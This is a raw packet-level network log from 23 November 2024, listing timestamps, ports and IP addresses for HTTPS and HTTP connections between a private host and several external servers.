Nov 23, 2024 03:20:59.650381088 CET	443	49737	52.149.20.212	192.168.2.4
Nov 23, 2024 03:20:59.650566101 CET	49737	443	192.168.2.4	52.149.20.212
Nov 23, 2024 03:20:59.650875092 CET	49737	443	192.168.2.4	52.149.20.212
Nov 23, 2024 03:20:59.650892019 CET	443	49737	52.149.20.212	192.168.2.4
Nov 23, 2024 03:21:00.030793905 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:00.030822992 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:00.030867100 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:00.030921936 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:00.030965090 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:00.031001091 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:00.031023979 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:00.229792118 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:00.229835033 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:00.229921103 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:00.229981899 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:00.230148077 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:00.270950079 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:00.270982981 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:00.271202087 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:00.271223068 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:00.271289110 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:00.404069901 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:00.404092073 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:00.404170990 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:00.404195070 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:00.404257059 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:00.431598902 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:00.431615114 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:00.431890011 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:00.431905031 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:00.431974888 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:00.456837893 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:00.456856966 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:00.456932068 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:00.456945896 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:00.457003117 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:00.476275921 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:00.476304054 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:00.476351023 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:00.476366997 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:00.476521015 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:00.476521015 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:00.602838039 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:00.602855921 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:00.603028059 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:00.603048086 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:00.603116035 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:00.618452072 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:00.618467093 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:00.618527889 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:00.618541956 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:00.618889093 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:00.631772995 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:00.631793976 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:00.631839037 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:00.631861925 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:00.631887913 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:00.631941080 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:00.647063017 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:00.647089005 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:00.647144079 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:00.647166014 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:00.647193909 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:00.647233009 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:00.662522078 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:00.662537098 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:00.662611961 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:00.662626982 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:00.662674904 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:00.664833069 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:00.664882898 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:00.664971113 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:00.665693045 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:00.665720940 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:00.709629059 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:00.709685087 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:00.709882975 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:00.710827112 CET	49739	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:00.710872889 CET	443	49739	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:00.711086988 CET	49739	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:00.712311029 CET	49740	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:00.712332010 CET	443	49740	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:00.712395906 CET	49740	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:00.713377953 CET	49741	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:00.713412046 CET	443	49741	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:00.713470936 CET	49741	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:00.714410067 CET	49742	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:00.714418888 CET	443	49742	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:00.714571953 CET	49741	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:00.714585066 CET	49742	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:00.714586020 CET	443	49741	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:00.714735985 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:00.714768887 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:00.714915037 CET	49742	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:00.714931011 CET	443	49742	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:00.715081930 CET	49739	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:00.715099096 CET	443	49739	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:00.715251923 CET	49740	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:00.715265036 CET	443	49740	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:01.462379932 CET	443	49737	52.149.20.212	192.168.2.4
Nov 23, 2024 03:21:01.462557077 CET	49737	443	192.168.2.4	52.149.20.212
Nov 23, 2024 03:21:01.464143991 CET	49737	443	192.168.2.4	52.149.20.212
Nov 23, 2024 03:21:01.464159012 CET	443	49737	52.149.20.212	192.168.2.4
Nov 23, 2024 03:21:01.464487076 CET	443	49737	52.149.20.212	192.168.2.4
Nov 23, 2024 03:21:01.473134041 CET	49737	443	192.168.2.4	52.149.20.212
Nov 23, 2024 03:21:01.515374899 CET	443	49737	52.149.20.212	192.168.2.4
Nov 23, 2024 03:21:02.184322119 CET	443	49737	52.149.20.212	192.168.2.4
Nov 23, 2024 03:21:02.184359074 CET	443	49737	52.149.20.212	192.168.2.4
Nov 23, 2024 03:21:02.184403896 CET	443	49737	52.149.20.212	192.168.2.4
Nov 23, 2024 03:21:02.184442997 CET	49737	443	192.168.2.4	52.149.20.212
Nov 23, 2024 03:21:02.184463978 CET	443	49737	52.149.20.212	192.168.2.4
Nov 23, 2024 03:21:02.184482098 CET	49737	443	192.168.2.4	52.149.20.212
Nov 23, 2024 03:21:02.184521914 CET	49737	443	192.168.2.4	52.149.20.212
Nov 23, 2024 03:21:02.220381975 CET	443	49737	52.149.20.212	192.168.2.4
Nov 23, 2024 03:21:02.220459938 CET	443	49737	52.149.20.212	192.168.2.4
Nov 23, 2024 03:21:02.220474005 CET	49737	443	192.168.2.4	52.149.20.212
Nov 23, 2024 03:21:02.220510960 CET	443	49737	52.149.20.212	192.168.2.4
Nov 23, 2024 03:21:02.220536947 CET	49737	443	192.168.2.4	52.149.20.212
Nov 23, 2024 03:21:02.220571041 CET	443	49737	52.149.20.212	192.168.2.4
Nov 23, 2024 03:21:02.220623016 CET	49737	443	192.168.2.4	52.149.20.212
Nov 23, 2024 03:21:02.225522041 CET	49737	443	192.168.2.4	52.149.20.212
Nov 23, 2024 03:21:02.225538015 CET	443	49737	52.149.20.212	192.168.2.4
Nov 23, 2024 03:21:02.225553036 CET	49737	443	192.168.2.4	52.149.20.212
Nov 23, 2024 03:21:02.225558996 CET	443	49737	52.149.20.212	192.168.2.4
Nov 23, 2024 03:21:02.428884983 CET	443	49741	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:02.429280043 CET	49741	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:02.429296017 CET	443	49741	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:02.429675102 CET	49741	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:02.429678917 CET	443	49741	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:02.492758989 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:02.493113995 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:02.493180037 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:02.493473053 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:02.493486881 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:02.499584913 CET	443	49740	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:02.499886990 CET	49740	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:02.499898911 CET	443	49740	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:02.500233889 CET	49740	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:02.500240088 CET	443	49740	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:02.502157927 CET	443	49742	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:02.502437115 CET	49742	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:02.502444983 CET	443	49742	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:02.502765894 CET	49742	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:02.502770901 CET	443	49742	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:02.504677057 CET	443	49739	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:02.504940033 CET	49739	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:02.504961014 CET	443	49739	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:02.505242109 CET	49739	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:02.505245924 CET	443	49739	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:02.867789984 CET	443	49741	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:02.867806911 CET	443	49741	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:02.867927074 CET	49741	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:02.867939949 CET	443	49741	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:02.868319035 CET	49741	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:02.868319035 CET	49741	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:02.868331909 CET	443	49741	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:02.868468046 CET	443	49741	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:02.868500948 CET	443	49741	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:02.868554115 CET	49741	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:02.872279882 CET	49743	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:02.872303009 CET	443	49743	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:02.872466087 CET	49743	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:02.872634888 CET	49743	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:02.872644901 CET	443	49743	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:02.942676067 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:02.942734957 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:02.942810059 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:02.943243980 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:02.943243980 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:02.943283081 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:02.943308115 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:02.945658922 CET	443	49742	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:02.945708990 CET	443	49742	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:02.945769072 CET	49742	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:02.945771933 CET	49744	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:02.945813894 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:02.945874929 CET	49744	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:02.945890903 CET	49742	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:02.945902109 CET	443	49742	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:02.945914030 CET	49742	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:02.945919991 CET	443	49742	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:02.946640968 CET	443	49740	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:02.946696043 CET	443	49740	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:02.946753979 CET	49740	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:02.946763992 CET	443	49740	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:02.946835995 CET	49744	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:02.946849108 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:02.946849108 CET	49740	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:02.947227001 CET	49740	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:02.947232008 CET	443	49740	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:02.947263956 CET	49740	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:02.947637081 CET	443	49740	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:02.947722912 CET	443	49740	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:02.947860956 CET	49740	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:02.949464083 CET	49745	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:02.949522972 CET	443	49745	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:02.949645042 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:02.949652910 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:02.949691057 CET	49745	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:02.949709892 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:02.949948072 CET	49745	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:02.949980021 CET	443	49745	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:02.950016975 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:02.950026035 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:02.955074072 CET	443	49739	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:02.955142975 CET	443	49739	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:02.955207109 CET	49739	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:02.955219030 CET	443	49739	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:02.955627918 CET	49739	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:02.955646038 CET	49739	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:02.955648899 CET	443	49739	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:02.955660105 CET	49739	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:02.955971956 CET	443	49739	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:02.956059933 CET	443	49739	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:02.956231117 CET	49739	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:02.957684040 CET	49747	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:02.957705021 CET	443	49747	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:02.958056927 CET	49747	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:02.958153009 CET	49747	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:02.958167076 CET	443	49747	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:03.874948978 CET	49748	80	192.168.2.4	185.215.113.43
Nov 23, 2024 03:21:03.994479895 CET	80	49748	185.215.113.43	192.168.2.4
Nov 23, 2024 03:21:03.994601965 CET	49748	80	192.168.2.4	185.215.113.43
Nov 23, 2024 03:21:03.994873047 CET	49748	80	192.168.2.4	185.215.113.43
Nov 23, 2024 03:21:04.114339113 CET	80	49748	185.215.113.43	192.168.2.4
Nov 23, 2024 03:21:04.616005898 CET	443	49743	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:04.616492987 CET	49743	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:04.616507053 CET	443	49743	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:04.616969109 CET	49743	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:04.616974115 CET	443	49743	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:04.743837118 CET	443	49745	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:04.744369030 CET	49745	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:04.744404078 CET	443	49745	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:04.745136976 CET	49745	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:04.745148897 CET	443	49745	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:04.755736113 CET	443	49747	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:04.756088018 CET	49747	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:04.756103039 CET	443	49747	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:04.756473064 CET	49747	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:04.756481886 CET	443	49747	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:04.792849064 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:04.793164015 CET	49744	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:04.793184996 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:04.793521881 CET	49744	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:04.793526888 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:04.802148104 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:04.802490950 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:04.802498102 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:04.802860022 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:04.802864075 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:05.050815105 CET	443	49743	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:05.050865889 CET	443	49743	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:05.050967932 CET	49743	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:05.051110983 CET	49743	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:05.051127911 CET	443	49743	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:05.051137924 CET	49743	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:05.051145077 CET	443	49743	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:05.053776026 CET	49749	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:05.053802967 CET	443	49749	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:05.053958893 CET	49749	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:05.054115057 CET	49749	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:05.054124117 CET	443	49749	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:05.188687086 CET	443	49745	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:05.188859940 CET	443	49745	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:05.188965082 CET	49745	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:05.189003944 CET	49745	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:05.189003944 CET	49745	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:05.189022064 CET	443	49745	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:05.189033985 CET	443	49745	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:05.191220045 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:05.191246033 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:05.191481113 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:05.191610098 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:05.191621065 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:05.198429108 CET	443	49747	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:05.198579073 CET	443	49747	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:05.198637962 CET	49747	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:05.198673964 CET	49747	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:05.198673964 CET	49747	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:05.198688984 CET	443	49747	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:05.198708057 CET	443	49747	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:05.200478077 CET	49751	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:05.200495958 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:05.200628042 CET	49751	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:05.200763941 CET	49751	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:05.200777054 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:05.247195959 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:05.247241974 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:05.247365952 CET	49744	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:05.247389078 CET	49744	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:05.247401953 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:05.247410059 CET	49744	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:05.247415066 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:05.249135971 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:05.249211073 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:05.249319077 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:05.249442101 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:05.249478102 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:05.254365921 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:05.254435062 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:05.254591942 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:05.254617929 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:05.254621983 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:05.254633904 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:05.254636049 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:05.256258965 CET	49753	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:05.256334066 CET	443	49753	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:05.256408930 CET	49753	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:05.256500006 CET	49753	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:05.256532907 CET	443	49753	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:05.399404049 CET	80	49748	185.215.113.43	192.168.2.4
Nov 23, 2024 03:21:05.399470091 CET	49748	80	192.168.2.4	185.215.113.43
Nov 23, 2024 03:21:06.904659033 CET	49748	80	192.168.2.4	185.215.113.43
Nov 23, 2024 03:21:06.904953003 CET	49754	80	192.168.2.4	185.215.113.43
Nov 23, 2024 03:21:06.909495115 CET	443	49749	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:06.910000086 CET	49749	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:06.910013914 CET	443	49749	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:06.910459042 CET	49749	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:06.910463095 CET	443	49749	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:06.978987932 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:06.979419947 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:06.979439020 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:06.979872942 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:06.979877949 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:07.024466991 CET	80	49754	185.215.113.43	192.168.2.4
Nov 23, 2024 03:21:07.024534941 CET	49754	80	192.168.2.4	185.215.113.43
Nov 23, 2024 03:21:07.024615049 CET	80	49748	185.215.113.43	192.168.2.4
Nov 23, 2024 03:21:07.027920008 CET	49748	80	192.168.2.4	185.215.113.43
Nov 23, 2024 03:21:07.028111935 CET	49754	80	192.168.2.4	185.215.113.43
Nov 23, 2024 03:21:07.055963039 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:07.056632042 CET	49751	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:07.056643963 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:07.057076931 CET	49751	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:07.057080984 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:07.084073067 CET	443	49753	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:07.084459066 CET	49753	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:07.084490061 CET	443	49753	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:07.084994078 CET	49753	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:07.085006952 CET	443	49753	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:07.100811958 CET	443	49752	13.107.246.63	192.168.2.4
